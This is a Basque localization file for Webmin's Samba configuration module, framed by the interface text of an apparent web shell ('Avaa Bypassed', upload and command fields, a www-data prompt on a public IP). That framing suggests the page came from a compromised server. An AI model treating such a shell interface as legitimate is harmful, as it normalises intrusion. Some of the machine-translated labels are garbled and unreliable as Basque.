[ Avaa Bypassed ]




Upload:

Command:

www-data@18.224.32.173: ~ $
index_title=Samba Windows Fitxategiak partekatzea
index_sharelist=partekatu zerrenda
index_userlist=erabiltzaileen zerrenda
index_fileshare=fitxategi partekatzea
index_printershare=inprimagailua partekatzea
index_shareconf=partekatzeko konfigurazioa
index_version=Samba $1 bertsioa
index_samba=Samba

index_sharename=Partekatu izena
index_path=Path
index_security=Segurtasuna
index_homedir=Hasierako zuzendari guztiak
index_allprinter=Inprimagailu guztiak
index_printer=Printer
index_defaultprn=Inprimagailu lehenetsia
index_printableto=Inprimatu behar duzu
index_prneveryone=Inprimagarria guztientzat
index_prnalluser=Ezagutzen diren erabiltzaile guztientzako inprimagarria
index_rwpublic=Irakurri/idatzi guztiei
index_readonly=Irakurri $1 era soilik irakurri/idatzi beste erabiltzaile ezagun guztiei
index_rwalluser=Irakurri/idatzi erabiltzaile ezagun guztiei
index_roeveryone=Guztioi irakurtzea bakarrik
index_readwrite=Irakurri/idatzi $1 - Irakurri beste erabiltzaile ezagun guztiei soilik
index_roalluser=Ezagutzen diren erabiltzaile guztiei bakarrik irakurri
index_noshares=Ez da Samba akzioak zehaztu
index_createfileshare=Sortu fitxategi partekatu berria.
index_createprnshare=Sortu inprimagailu partekatu berria.
index_createcopy=Sortu kopia berria.
index_view=Ikusi konexio guztiak
index_start=Hasi Samba zerbitzariak
index_start_wb=Hasi Winbind Servers
index_startmsg=Ez dirudi Samba zerbitzariak zure sisteman exekutatzen ari direnik. Horrek esan nahi du goian zerrendatutako akzioak ez direla beste ordenagailu batzuetara eskuragarri egongo.
index_startmsg_wb=Winbind zerbitzariak ez dirudi zure sisteman exekutatzen ari direnik.
index_restart=Berrabiarazi Samba zerbitzariak
index_restart_wb=Berrabiarazi Winbind Servers
index_restartmsg=Egin klik botoi honetan Samba exekutatzen ari zaren sisteman berrabiarazteko. Horrek uneko konfigurazioa aplikatzera behartuko du.
index_restartmsg_wb=Egin klik botoi honetan zure sisteman Winbind zerbitzariak exekutatzen hasteko.
index_restartmsg2=Horrek zerbitzariaren konexioak ere deskonektatuko ditu, beraz, ez baduzu nahi uneko konfigurazioa berehala aplikatu nahi baduzu, 1 minutu itxaron beharko duzu Sambak konfigurazioa automatikoki berriro kargatu arte.
index_stop=Samba zerbitzariak gelditu
index_stop_wb=Utzi Winbind zerbitzariak
index_stopmsg=Egin klik botoi honetan zure sisteman Samba zerbitzariak martxan jartzeko. Egun saioa duten erabiltzaile guztiak nahita deskonektatuta egongo dira.
index_stopmsg_wb=Egin klik botoi honetan zure sisteman Winbind zerbitzariak martxan jartzeko.
index_einclude=Abisua - $1 Samba konfigurazio fitxategiak $2 edo $3 zuzentaraua ditu. Horrek Webmin-ek fitxategia gaizki aldatzea eragin dezake.
index_delete=Ezabatu hautatutako akzioak

config_mins=mins
config_secs=secs
config_bytes=bytes
config_never=Inoiz ez
config_all=guztiak
config_neither=Ezta

global_title=Konfigurazio globala
global_unixnetwork=Unix Sarea
global_winnetwork=Windows Sarea
global_auth=Autentifikazioa
global_printing=Windows Unix inprimaketa
global_misc=Askotariko aukerak
global_filedefault=Fitxategiaren partekatze lehenetsiak
global_prndefault=Inprimagailua Partekatu lehenetsiak
global_password=Zifratutako pasahitzak
global_users=Samba erabiltzaileak
global_group=Samba Taldeak
global_bind=Winbind aukerak

error_nosamba=Ez da aurkitu <tt>$1</tt> Samba zerbitzaria exekutagarria. Bai Samba ez dago zure sisteman instalatuta edo zure <a href="$2">moduluaren konfigurazioa</a> okerra da.
error_version=Webmin-ek Samba zerbitzariaren bertsioa ezin izan zuen lortu <tt>$1</tt>. Egiaztatu <a href="$2">moduluaren konfigurazioa</a> ziurtatzeko bide egokia dela.
error_config=Ez da $1 konfigurazio fitxategia aurkitu. Seguruenik Samba ez dago zure sisteman instalatuta edo zure <a href="$2">moduluaren konfigurazioa</a> okerra da.
error_include=Webminak ezin du <tt>config</tt> edo <tt></tt> zuzentarauak erabiltzen dituzten Samba konfigurazio fitxategiak kudeatu.
error_delshare=Ezin izan da partekatzea ezabatu
error_delcopy='$1' kuota partekatutako kopiak
error_savename=Ezin izan da fitxategien izena gordetzean

convert_title=Erabiltzaileak bihurtu
convert_msg=Inprimaki honek Unix eta Samba erabiltzaileen zerrenda sinkronizatzeko aukera ematen du. Samba <a href=$1>enkriptatutako pasahitzak</a> erabiltzen ari denean, erabiltzaileen eta pasahitzen zerrenda banandua erabiltzen da sistemako erabiltzaileen zerrendaren ordez.
convert_noconv=Ez bihurtu erabiltzaile horiek ez kendu:
convert_ncdesc=Bihurketarik egin ez duten erabiltzaileen zerrendak erabiltzaile izenak, UIDak, talde izenak aurrez aurretik zehaztuta daude <tt>@</tt> edo <I>500-1000</i> edo <i>500 -</i> >.
convert_update=Eguneratu lehendik dauden Samba erabiltzaileak Unix-en xehetasunetatik
convert_add=Gehitu Samba erabiltzaile berriak Unix erabiltzaile zerrendatik
convert_delete=Ezabatu Unix pean ez dauden Samba erabiltzaileak
convert_newuser=Sortu berri diren erabiltzaileentzat, ezarri pasahitza hurrengoan:
convert_nopasswd=Pasahitzik ez
convert_lock=Kontua blokeatuta dago
convert_passwd=Erabili pasahitz hau
convert_convert=Erabiltzaileak bihurtu
convert_cannot=Unix erabiltzaileak ezin dira Samba erabiltzaile bihurtu
convert_who=Unix erabiltzaileak bihurtzeko
convert_who0=Zerrendatutako erabiltzaileak edo UID barrutiak soilik
convert_who1=Zerrendatutako erabiltzaileak eta UID barrutiak izan ezik

misc_title=Askotariko aukerak
misc_debug=Arazketa maila
misc_cachecall=Cache <tt>getwd ()</tt> deiak?
misc_lockdir=Blokeatu direktorioa
misc_log=Erregistro fitxategia
misc_maxlog=Gehieneko log tamaina
misc_rawread=Irakurri gordinak?
misc_rawwrite=Idatzi gordinak?
misc_overlapread=Irakurketa tamaina gainjarria
misc_chroot=<tt>chroot ()</tt> direktorioa
misc_smbrun=<tt>smbrun</tt> bidea
misc_clienttime=Bezeroaren denbora konpentsazioa
misc_readprediction=Irakurri iragarpena?

net_title=Unix sareko aukerak
net_idle=Desaktibatu aurretik, denbora inaktiboan
net_trustlist=Konfiantzazko ostalari/erabiltzaileen fitxategia
net_netinterface=Sareko interfazeak
net_auto=automatikoa
net_uselist=Erabilitako zerrenda. ..
net_interface=Interface
net_netmask=Sare-maskara
net_keepalive=Mantentze paketeak
net_notsend=Ez bidali ezer
net_every=Bidali guztietan
net_maxpacket=Gehienezko paketearen tamaina
net_listen=Helbidea entzun
net_ip=IP helbidea
net_socket=Socket aukerak

passwd_title=Pasahitz aukerak
passwd_encrypt=Erabili enkriptatutako pasahitzak?
passwd_allownull=Pasahitz nuluak onartzea?
passwd_program=Pasahitz programa
passwd_case=Pasahitzaren kasuen aldea
passwd_sync=Aldatu Unix pasahitza ere?
passwd_chat=Pasahitz-txat aldatu
passwd_below=Jarraian agertzen dira:
passwd_waitfor=Itxaron
passwd_send=Bidali
passwd_map=Erabiltzaileen mapa
passwd_unixuser=Unix erabiltzaileak
passwd_winuser=Windows erabiltzaileak

print_title=Inprimatzeko aukerak
print_style=Unix inprimatzeko estiloa
print_show=Erakutsi inprimagailu guztiak?
print_printcap=Printcap fitxategia
print_cachetime=Inprimagailuaren egoera cache-denbora

smb_title=Windows sareen aukerak
smb_workgroup=lantalde
smb_wins=WINS modua
smb_winsserver=Izan WINS zerbitzaria
smb_useserver=Erabili zerbitzaria
smb_description=Zerbitzariaren deskribapena
smb_descriptionnone=Bat ere ez
smb_name=Zerbitzariaren izena
smb_aliase=Zerbitzariaren ezizena
smb_default=Lehenetsitako zerbitzua
smb_show=Beti erakutsi zerbitzuak
smb_disksize=Max-ek diskoaren tamaina jakinarazi du
smb_unlimited=Mugarik gabe
smb_winpopup=Winpopup komandoa
smb_priority=Arakatzailearen maisu-lehentasuna
smb_protocol=Protokolo altuena
smb_master=Nabigatzaile nagusia?
smb_master_auto=automatikoa
smb_security=Segurtasuna
smb_sharelevel=Partekatzeko maila
smb_userlevel=Erabiltzaile maila
smb_passwdserver=Pasahitza zerbitzaria
smb_server=Pasahitza zerbitzaria
smb_domain=Domain
smb_ads=Direktorio aktiboa
smb_announce=Urruneko iragarkia
smb_nowhere=Nowhere
smb_fromlist=Zerrendatik. ..
smb_ip=IP helbidea
smb_asworkgroup=<b>Lan-talde gisa</b> (aukerakoa)

create_title=Sortu Kopiatu
create_msg=Kopiatutako akzio batek bere balio lehenetsi guztiak heredatuko ditu aukeratutako partaidetzatik. Iturriaren partekatzea aldatzen bada, kopia ere egingo da.
create_from=Partekatu hauetatik kopiatzeko:
create_name=Partekatu izen berria:

smbuser_title=Samba erabiltzaileak
smbuser_list=Samba erabiltzaile zerrenda
smbuser_nouser=Ez da Samba erabiltzaile zehaztu.
smbuser_cannot=Samba erabiltzaileak ezin dira zerrendatu

euser_title=Editatu Samba erabiltzailea
euser_name=Erabiltzaile izena
euser_uid=Unix UID
euser_passwd=Pasahitza
euser_noaccess=Sarbiderik ez
euser_nopw=Pasahitzik ez
euser_currpw=Oraingo pasahitza
euser_newpw=Pasahitz berria
euser_realname=Benetako izena
euser_homedir=Hasiera direktorio
euser_shell=Shell
euser_option=Erabiltzailearen aukerak
euser_normal=Erabiltzaile normala
euser_noexpire=Pasahitza ez da inoiz iraungitzen
euser_locked=Kontua blokeatuta dago
euser_nopwrequired=Ez da pasahitzik behar
euser_disable=Kontua desgaituta dago
euser_trust=Lantokiko fidagarritasun kontua

fmisc_title=Hainbat fitxategi lehenetsiak
fmisc_for=<tt>$1</tt> partekatzeko
fmisc_lockfile=Fitxategia blokeatzea al da?
fmisc_maxconn=Konexio maximoak
fmisc_fake=Gezurrezko lausoak?
fmisc_oplocks=Gaitu geziak?
fmisc_level2=Irakurritako irakurgai bakarrak?
fmisc_sharemode=Partekatzeko moduak erabili?
fmisc_strict=Blokeo zorrotza?
fmisc_sync=Sinkronizatu ondoren idatzi?
fmisc_volume=Bolumenaren izena
fmisc_sameas=Partekatzeko gauza bera
fmisc_unixdos=Unix-DOS fitxategi izenaren mapa
fmisc_conncmd=Konektatzeko exekutatzeko agindua
fmisc_disconncmd=Deskonektatzeko exekutatzeko agindua
fmisc_rootconn=<i>root</i> konektatzeko exekutatzeko agindua
fmisc_rootdisconn=<i>root</i> deskonektatzeko exekutatzeko agindua

fname_title1=Fitxategiak izendatzeko lehenetsiak
fname_title2=Editatu fitxategien izena
fname_option=Fitxategiak izendatzeko aukerak
fname_manglecase=Mangle Case?
fname_case=Kasua sentikorra?
fname_defaultcase=Lehenetsitako kasua?
fname_lower=Baxuagoa
fname_upper=Upper
fname_preserve=Kontserbatu kasua?
fname_shortpreserve=Kontserba motzeko kasua?
fname_hide=Ezkutatu puntu fitxategiak?
fname_archive=Gorde DOS artxiboko bandera?
fname_hidden=Gorde DOS ezkutuko bandera?
fname_system=Gorde DOS sistemaren bandera?

fperm_title1=Fitxategien baimenak lehenetsiak
fperm_title2=Editatu Fitxategien Baimenak
fperm_option=Fitxategien baimena
fperm_filemode=Unix fitxategi modu berria
fperm_dirmode=Unix direktorio berria
fperm_notlist=Zerrendak ez zerrendatzeko
fperm_forceuser=Behartu Unix erabiltzailea
fperm_forcegrp=Force Unix taldea
fperm_link=Sinbolak partekatzea baimendu nahi duzu?
fperm_unix=Unix luzapenak erabiltzea baimendu?
fperm_delro=Irakurri daitezke fitxategiak ezabatu?
fperm_forcefile=Behartu Unix fitxategi modua
fperm_forcedir=Force Unix direktorio moduan

share_title1=Fitxategiaren partekatze lehenetsiak
share_title2=Editatu Fitxategia Partekatu
share_title3=Sortu Fitxategiak Partekatu
share_info=Partekatu informazioa
share_copy=Partekatze hau <i>$1</i> ren kopia da
share_name=Partekatu izena
share_home=Hasiera Zuzendaritzak Partekatu
share_dir=Konpartitzeko direktorio
share_create=Direktorioa automatikoki sortu?
share_owner=Sortu jabearekin
share_createperms=Sortu baimenekin
share_group=Sortu taldearekin
share_available=Eskuragarri?
share_browseable=Arakagarria?
share_comment=Partekatu iruzkina
share_view=Ikusi konexioak
share_option=Beste Partekatzeko Aukerak
share_security=Segurtasun eta Sarbide Kontrola
share_permission=Fitxategien baimenak
share_naming=Fitxategiaren izena
share_misc=Askotariko aukerak
share_samedesc1=Oharra: ezarpen hauek fitxategi-partekatze guztietako lehenetsiak ere eragiten dituzte.
share_samedesc2=Oharra: ezarpen horiek inprimagailu partekatze guztientzako lehenetsiak ere eragiten dituzte.

print_title1=Inprimagailuaren aukera lehenetsiak
print_title2=Editatu inprimagailuaren aukerak
print_option=Inprimagailuaren aukerak
print_minspace=Gutxieneko espazio librea
print_postscript=Postscript inprimatzea behartu
print_command=Inprimatzeko komandoa
print_queue=Bistaratu ilararen komandoa
print_delete=Ezabatu lan-komandoa
print_pause=Lanerako komandoa eten
print_unresume=Lan-agindua ez du onartu
print_driver=Inprimagailu gidaria

pshare_title1=Inprimagailua Partekatu lehenetsiak
pshare_title2=Editatu inprimagailua partekatzea
pshare_title3=Sortu inprimagailu partekatu
pshare_info=Partekatu informazioa
pshare_name=Partekatu izena
pshare_all=Inprimagailu guztiek partekatzen dute
pshare_unixprn=Unix inprimagailua
pshare_spool=Spool direktorioa

sec_index1=Segurtasun lehenetsiak
sec_index2=Editatu segurtasuna
sec_writable=Writable?
sec_guest=Gonbidatuen sarbidea?
sec_guestonly=Gonbidatua bakarrik
sec_guestaccount=Gonbidatu Unix erabiltzailea
sec_limit=Posibleen zerrendara mugatu?
sec_allowhost=Baimendu ostalariak
sec_onlyallow=Baimendu bakarrik
sec_denyhost=Ostalariak ukatzeko
sec_onlydeny=Bakarrik ukatu
sec_revalidate=Erabiltzaileak baliogabetu?
sec_validuser=Erabiltzaile baliotsuak
sec_validgroup=Baliozko taldeak
sec_invaliduser=Erabiltzaile baliogabeak
sec_invalidgroup=Talde baliogabeak
sec_possibleuser=Erabiltzaile posibleak
sec_possiblegroup=Talde posibleak
sec_rouser=Irakurri erabiltzaileak bakarrik
sec_rogroup=Irakurri taldeak bakarrik
sec_rwuser=Irakurri/idatzi erabiltzaileak
sec_rwgroup=Irakurri/idatzi taldeak

esync_title=Erabiltzailearen sinkronizazioa
esync_msg=Webmin konfigura daiteke Unix erabiltzailearen zerrendako aldaketak Samba erabiltzaile zerrendara automatikoki aplikatzeko. Honek bakarrik funtzionatuko du <b>Erabiltzaileak eta Taldeak</b> Webmin modulua erabiltzaileak gehitzeko, ezabatzeko edo aldatzeko erabiltzen denean.
esync_add=Gehitu Samba erabiltzaile bat Unix erabiltzaile bat gehitzen denean
esync_chg=Aldatu Samba erabiltzailea Unix erabiltzailea aldatzen denean
esync_del=Ezabatu Samba erabiltzailea Unix erabiltzailea ezabatzen denean
esync_del_profile=Unix erabiltzailea ezabatzen denean ibiltaritza profila ezabatzen da
esync_chg_profile=Berrezarri ibiltaritza-profila Unix erabiltzailea berrizendatzen denean
esync_gid=Talde SID edo RID erabiltzaile berrientzako
esync_apply=aplikatu
esync_cannot=Erabiltzailearen sinkronizazioa ezin da konfiguratu
esync_egid=SID edo RID talde falta

mkpass_title=Erabiltzaileak bihurtu
mkpass_convfail=Huts egin du erabiltzaileak bihurtzerakoan
mkpass_msg=Unix erabiltzaileak bihurtzea. ..
mkpass_skip=saltatu
mkpass_same=Dagoeneko gauza bera
mkpass_update=eguneratua
mkpass_added=azkenak
mkpass_del=Ezabatutako
mkpass_passfail=Huts egin du pasahitza ezartzerakoan
mkpass_user=Erabiltzaile izena
mkpass_action=Egindako ekintza
mkpass_skipcount=$1 erabiltzaile saltatu ziren bihurketa egiteko.

savecopy_fail=Ezin izan da kopia sortu
savecopy_global='Global' izena ezin da partekatu partekatzerakoan
savecopy_exist="$1" izeneko kuota badago
savecopy_ename=Ez da inongo partekatutako izenik sartu

saveuser_fail=Huts egin du erabiltzailea gordetzean
saveuser_uid='$1' ez da baliozko Unix UID bat
saveuser_colon=Benetako izenak ezin du pertsonaiarik eduki :
saveuser_home=Ez dago '$1' etxeko direktorio bat
saveuser_shell=$1 ez da baliozko maskorra
saveuser_pass=Huts egin du pasahitza aldatzerakoan smbpasswd erabiliz : $1 
saveuser_ews='Laneko konfiantza kontua' aukera ezin da gaituta dauden erabiltzaileentzat

savefmisc_fail=Huts egin du hainbat aukera gordetzerakoan
savefmisc_number='$1' ez da baliozko konexio kopurua

savefperm_fail=Ezin izan da fitxategien baimenak gorde
savefperm_mode='$1' ez da baliozko Unix fitxategi modua

savefshare_fail=Ezin izan da partekatu gordetzea
savefshare_nopath=Ez da bide eman
savefshare_exist="$1" izeneko kuota badago
savefshare_mode='$1' ez da baliozko partekatutako izena
savefshare_global='Global' izena ezin da partekatu partekatzerakoan
savefshare_owner=Jabea falta edo baliogabea da direktorio berriarentzat
savefshare_group=Direktorio berria lortzeko talde falta edo baliogabea
savefshare_perms=Direktorio berriaren baimen falta edo baliogabea
savefshare_emkdir=Huts egin du direktorio bat sortzean : $1 

savemisc_fail=Ezin izan da aukerak gordetzea
savemisc_lockdir=Ez dago blokeo direktorioaren direktoriorik
savemisc_logdir=Ez da egunkariaren fitxategia duen direktoriorik existitzen
savemisc_logsize='$1' ez da baliozko erregistro-tamaina
savemisc_overlap='$1' ez da irakurtzeko neurri gainjarriko balio batek
savemisc_chroot=Ez da existitzen '$1' chroot direktorioa
savemisc_smbrun='$1' smbrun programa ez dago edo ezin da gauzatu
savemisc_time='$1' ez da baliozko denbora desplazamendu bat

savenet_fail=Ezin izan da aukerak gordetzea
savenet_timeout='$1' ez da deskonektatzeko denbora iraungitzeko baliozkoa
savenet_ip='$1' ez da baliozko IP byte bat
savenet_keep='$1' ez da baliozko mantendu-tarte bat
savenet_maxxmit='$1' ez da baliozko paketeen gehienezko tamaina

savepass_fail=Ezin izan da aukerak gordetzea
savepass_nopass=Samba-ren zure bertsioak ez ditu pasahitz enkriptatuak onartzen
savepass_passwd=Ez da pasahitza aldatzeko programarik eman
savepass_level='$1' ez da baliozko pasahitzaren kasuetako aldea
savepass_chat=Aldatu pasahitz berriketen sekuentzia hutsik dago

savepopts_fail=Huts egin du inprimagailuaren aukerak gordetzean
savepopts_number=Gutxieneko doako espazioa kopurua izan behar da

saveprint_fail=Ezin izan da aukerak gordetzea
saveprint_printcap=Ez dago "$1" printcap fitxategia
saveprint_cache='$1' ez da baliozko cache-denbora

savepshare_fail=Huts egin du inprimagailu partekatzea gordetzean
savepshare_exist="$1" izeneko kuota badago
savepshare_name='$1' ez da baliozko partekatutako izena
savepshare_global='Global' izena ezin da partekatu partekatzerakoan

savesec_fail=Huts egin du segurtasuna gordetzean

savesmb_fail=Ezin izan da aukerak gordetzea
savesmb_size='$1' ez da baliozko diskoaren tamaina
savesmb_oslevel='$1' ez da baliozko arakatzailearen maisu-lehentasuna
savesmb_server=Pasahitz zerbitzaria sartu behar duzu

start_err=Huts egin du Samba zerbitzariak abiaraztean
start_fail=$1 huts egin du
start_err_wb=Huts egin du Winbind zerbitzariak abiaraztean

restart_err=Huts egin du Samba zerbitzariak berrabiaraztean
restart_err_wb=Ezin izan da Winbind zerbitzariak berrabiarazi

swats_fail=Huts egin du erabiltzaile izena gordetzean
swats_user=SWAT erabiltzaile izena falta da

viewu_index=Uneko erabiltzaileak
viewu_list=$1 egungo erabiltzaileak
viewu_share=Share
viewu_user=Erabiltzaileak
viewu_group=Group
viewu_from=Noiz konektatuta
viewu_time=Konektatuta
viewu_pid=Prozesuaren IDa
viewu_msg1=Egin klik prozesuko ID batean goiko zerrendatik erabiltzaile hori deskonektatzeko.
viewu_msg2=Ez dago erabiltzaile konektaturik.
viewu_locks=Ireki fitxategiak
viewu_none=Bat ere ez
viewu_ecmd=Ez dirudi Samba egoera programa $1 zure sisteman instalatuta dagoenik. Agian <a href='$2'>moduluaren konfigurazioa</a> okerra da.
viewu_kill=Deskonektatu hautatutako erabiltzaileak
viewu_enone=Ez da erabiltzaile aukeratu
viewu_refresh=Eguneratu orria.

log_apply=Samba zerbitzariak berrabiarazi dira
log_apply_wb=Winbind zerbitzariak berrabiarazi dira
log_stop=Samba zerbitzariak gelditu dira
log_stop_wb=Winbind zerbitzariak geldituta
log_start=Samba zerbitzariak abiarazi dira
log_start_wb=Winbind zerbitzariak abiarazi dira
log_save_fshare=$1 aldatutako fitxategien partekatzea
log_save_pshare=Inprimatutako $1 partekatutako inprimatzailea
log_save_sec=$1 partekatutako segurtasun eta sarbide kontrola
log_save_fperm=$1 partekatzeko fitxategi baimenak
log_save_fname=$1 partekatzeko fitxategiaren izendapena
log_save_fmisc=$1 partekatzeko askotariko aukerak aldatu
log_save_popts=$1 partekatzeko inprimagailu aukerak aldatu
log_default_fshare=Aldatutako fitxategien partekatze lehenetsiak
log_default_pshare=Inprimagailu partekatuaren lehenetsitako aldaketak
log_kill=Deskonektatutako prozesuaren $1 
log_skill=Deskonektatutako prozesua $1 partekatutako $2 
log_kills=Deskonektatutako $1 prozesuak
log_skills=Deskonektatutako $1 prozesuak $2 partekatutako prozesuak
log_create_fshare=$1 fitxategi partekatua sortu da
log_create_pshare=$1 inprimagailu partekatua sortu da
log_delete_fshare=$1 fitxategi partekatua ezabatu da
log_delete_pshare=Inprimagailu partekatua ezabatu da $1 
log_delete_shares=$1 akzio ezabatu dira
log_net=Aldatu Unix sareko aukerak
log_smb=Windows sarearen aukerak aldatu dira
log_pass=Aldatutako autentifikazio aukerak
log_print=Windows aldatu zen Unix inprimatzeko aukeretara
log_misc=Hainbat aukera aldatu dira
log_bind=Aldatu Winbind aukerak
log_sync=Unix erabiltzailearen sinkronizazioa konfiguratua
log_epass=Unix erabiltzaileak Samba erabiltzaile bihurtzea
log_epass_l=Unixko erabiltzaile Samba erabiltzaile bihurtuta ($1 sortu da, $2 aldatuta, $3 ezabatuta)
log_copy=Kopiatutako $2 tik $1 era partekatu
log_save_euser=$1 Samba erabiltzailea aldatu
log_delete_euser=$1 Samba erabiltzailea ezabatu da
log_create_group=$1 Samba taldea sortu da
log_modify_group=$1 Samba taldea aldatu du
log_delete_group=$1 Samba taldea ezabatu da
log_gsync=Unix taldeko sinkronizazio konfiguratua
log_manual=Eskuz editatutako $1 konfigurazio fitxategia

swat_title=SWAT Saioa
swat_list=SWAT Saioa
swat_msg1=Oraingo SWAT erabiltzaile izena eta pasahitza okerrak dira. Erabili beheko formularioa berriro saioa hasteko.
swat_msg2=Erabiltzaile-izena eta pasahitza behar dira SWAT-era sartzeko. Normalean zure sistemako edozein erabiltzaile izan daiteke.
swat_msg3=Ezin duzu SWAT exekutatu Webminen bidez, Samba konfigurazioak <tt>$1 :...</tt> (baimendu ostalariak) aukera-multzoa baitu.
swat_msg4=Hala ere, baliteke $1 ean SWATera konektatzeko gai izatea
swat_username=Erabiltzaile izena
swat_password=Pasahitza
swat_login=Saioa hasi
swat_clear=Garbitu
swat_logout=SWAT-en saioa

eacl_aviol=Sarbide kontrola urratzea
eacl_np=Ez duzu baimenik
eacl_papply=zerbitzu hau berrabiarazi
eacl_pcn=editatu Unix sareko aukerak
eacl_pcs=editatu smb sareko aukerak
eacl_pcp=pasahitzaren aukerak editatu
eacl_pcprint=inprimatzeko aukerak editatu
eacl_pcm=aldatu hainbat aukera
eacl_pcswat=erabili SWAT
eacl_pcopy=kopiak akzioak
eacl_pconn_all=ikusi konexio guztiak
eacl_pconn=ikusteko partekatutako konexioak
eacl_pgkill=konexioak hil
eacl_pkill=konexio hau hil
eacl_pus=eguneratu share
eacl_pcrs=partekatu partekatu
eacl_pds=ezabatu partekatzea
eacl_pusec=partekatu eguneratu segurtasun eta sarbide kontrol aukerak
eacl_pufperm=eguneratu fitxategi baimen aukerak partekatzeko
eacl_pufname=eguneratu partekatze honetarako fitxategiak izendatzeko aukerak
eacl_pufmisc=eguneratzea hainbat. Partekatzeko aukerak
eacl_pupopt=eguneratu partekatze horren inprimagailuaren aukerak
eacl_pmpass=hasieratu Samba erabiltzaileen datu-basea
eacl_pmsync=mantentzea Unix-Samba erabiltzaileen sinkronizazioa
eacl_pmusers=Samba erabiltzaileei eustea
eacl_pvusers=sartu Sambako erabiltzaileak
eacl_pvfmisc=sarbide desberdinak. Partekatzeko aukerak
eacl_pvfname=sarbide hori fitxategiak izendatzeko aukerak partekatzeko
eacl_pvperm=sarbide-fitxategi baimen aukerak partekatzeko
eacl_pvsec=partekatzeko segurtasun eta sarbide kontrolerako sarbide aukerak
eacl_pvpopt=sar zaitez partekatze honetarako inprimagailuetara
eacl_pafs=sartu fitxategi partekatze honetara
eacl_paps=sartu inprimagailu partekatu honetara
eacl_pcps=inprimagailu partekatzea sortu
eacl_pcfs=fitxategiak partekatu

acl_apply=Aldaketak aplikatu eta Samba gelditu al daiteke?
acl_view_all_con=Ikusi konexio guztiak?
acl_kill_con=Konexioak kendu ditzakezu?
acl_conf_net=Unix sareko aukerak konfigura ditzakezu?
acl_conf_smb=Windows sareko aukerak konfigura ditzakezu?
acl_conf_pass=Autentifikazio aukerak konfigura ditzakezu?
acl_conf_print=Inprimagailuen aukerak konfigura ditzakezu?
acl_conf_misc=Hainbat konfiguratu ditzake. Aukera?
acl_swat=SWAT erabil dezakezu?
acl_manual=Eskuz editatu ahal izango duzu konfigurazio fitxategia?
acl_enc_passwd_opts=Pasahitz zifratutako aukerak
acl_view_users=Samba erabiltzaileen datu-basea ikusi al daiteke?
acl_maint_users=Samba erabiltzaileak editatu al ditzake?
acl_maint_makepass=Unix erabiltzaileak Samba erabiltzaile bihurtu al daitezke?
acl_maint_sync=Mantendu al daiteke Auto Unix-ekin Samba erabiltzaileei sinkronizatzea?
acl_hide=Objektu eskuraezinak ezkutatu?
acl_c=sortzen
acl_r=irakurri
acl_w=idazketa
acl_afs=Sarbide fitxategien partekatzeak
acl_aps=Sar itzazu inprimatze-akzioak
acl_copy=Akzioak kopiatu al ditzake?
acl_per_fs_acls=Gaitu fitxategi bakoitzeko partekatzeko akls?
acl_per_ps_acls=Gaitu inprimatu partekatutako aklsak?
acl_per_share_acls=Partekatutako ACLak. ..
acl_ernow=Objektu mota batzuetarako ACL globaletan idazketa sarbidea gaitu nahi baduzu objektu mota honetarako irakurketa sarbidea gaitu behar duzu.
acl_sname=Partekatu izena
acl_saccess=Sarbide partekatzea
acl_sconn=konexioak
acl_sopthdr=Partekatzeko aukerak
acl_ssec=segurtasun
acl_sperm=baimenak
acl_snaming=fitxategien izena
acl_smisc=miscellaneous
acl_sprn=edo inprimagailua
acl_na=n/a
acl_r1=irakurtzeko soilik
acl_rw=irakurri idatzi
acl_view=ikuspegi
acl_kill=hezia
acl_edit=editatu
acl_group_opts=Samba taldeko aukerak
acl_maint_groups=Taldeak ikusi, editatu eta gehitu al ditzake?
acl_maint_gsync=Mantendu al daiteke auto-Unix Samba taldeekin sinkronizatzea?
acl_winbind=Lotu al daiteke domeinuetara?
acl_bind=Sar daiteke winbind aukerak?

groups_title=Samba Taldeak
groups_name=Taldearen izena
groups_unix=Unix taldea
groups_nounix=Bat ere ez
groups_type=Mota
groups_type_d=Domeinu taldea
groups_type_b=NT eraiki
groups_type_l=Tokiko taldea
groups_type_u=ezezaguna
groups_sid=SID
groups_none=Oraindik ez da Samba talde zehaztu.
groups_return=taldeen zerrenda
groups_add=Gehitu Samba talde berria.
groups_ecannot=Ezin duzu Samba taldeak ikusi edo editatu
groups_cannot=Samba taldeak ezin dira zerrendatu

gedit_title2=Editatu Samba taldea
gedit_title1=Sortu Samba taldea
gedit_header=Samba taldearen xehetasunak
gedit_name=Taldearen izena
gedit_type=Talde mota
gedit_sid=Taldea SID
gedit_desc=deskribapena
gedit_priv=pribilegioak
gedit_unix=Unix taldea
gedit_unixgr=Taldea ..
gedit_none=Bat ere ez
gedit_set=Zerrendatu ..

gsave_err=Huts egin du taldea gordetzean
gsave_eunix=Falta edo baliogabea Unix taldearen izena edo GID
gsave_ename=Taldearen izena falta da
gsave_epriv=Talde pribilegioak falta dira
gsave_elocal=Pribilegioak tokiko taldeentzat bakarrik ezar daitezke

gsync_title=Taldearen sinkronizazioa
gsync_msg=Webmin konfigura daiteke Unix taldeko zerrendako aldaketak Samba taldeen zerrendan automatikoki aplikatzeko. Honek funtzionatuko du <b>Erabiltzaileak eta Taldeak</b> Webmin modulua taldeak gehitzeko, ezabatzeko edo aldatzeko erabiltzen denean.
gsync_add=Gehitu Samba talde bat Unix talde bat gehitzen denean
gsync_chg=Aldatu Samba taldea Unix talde bat aldatzen denean
gsync_del=Ezabatu Samba taldea Unix talde bat ezabatzen denean
gsync_apply=aplikatu
gsync_type=Talde berri mota
gsync_priv=Talde berrientzako pribilegioak (tokikoa bada)
gsync_ecannot=Ezin duzu taldeko sinkronizazioa konfiguratu
gsync_cannot=Taldearen sinkronizazioa ezin da konfiguratu

check_user1=$1 : Zifratutako pasahitzak ez dira gaitzen <a href='$2'>Autentifikazio</a> orrian.
check_user2=$1 : Ez dute Samba pasahitz fitxategia edo pdbedit-en bidea <a href='$2'>Moduluen Konfigurazioa</a> orrian ez da ezarri.
check_group1=$1 : Taldeak Samba 3. bertsioan bakarrik onartzen dira.
check_group2=$1 : ez smbgroupedit edo net komandoetarako bidea ez dago <a href='$2'>Moduluen Konfigurazioa</a> orrian.

winbind_title=Lotu domeinura
winbind_ecannot=Ezin duzu domeinuei lotu
winbind_msg=Inprimaki hau zure Samba zerbitzaria Windows domeinu batera lotzeko erabil daiteke, normalean beste zerbitzari batek kudeatzen duena.
winbind_header=Lotu Windows domeinu batera
winbind_user=Erabiltzaile gisa lotu
winbind_dom=Lotu domeinura
winbind_save=Lotu orain
winbind_default=Samba konfigurazioko domeinua
winbind_pass=Erabiltzailearen pasahitza
winbind_err=Ezin izan da domeinuarekin lotu
winbind_euser=Erabiltzaile izena falta da
winbind_edom=Domeinu izena falta da
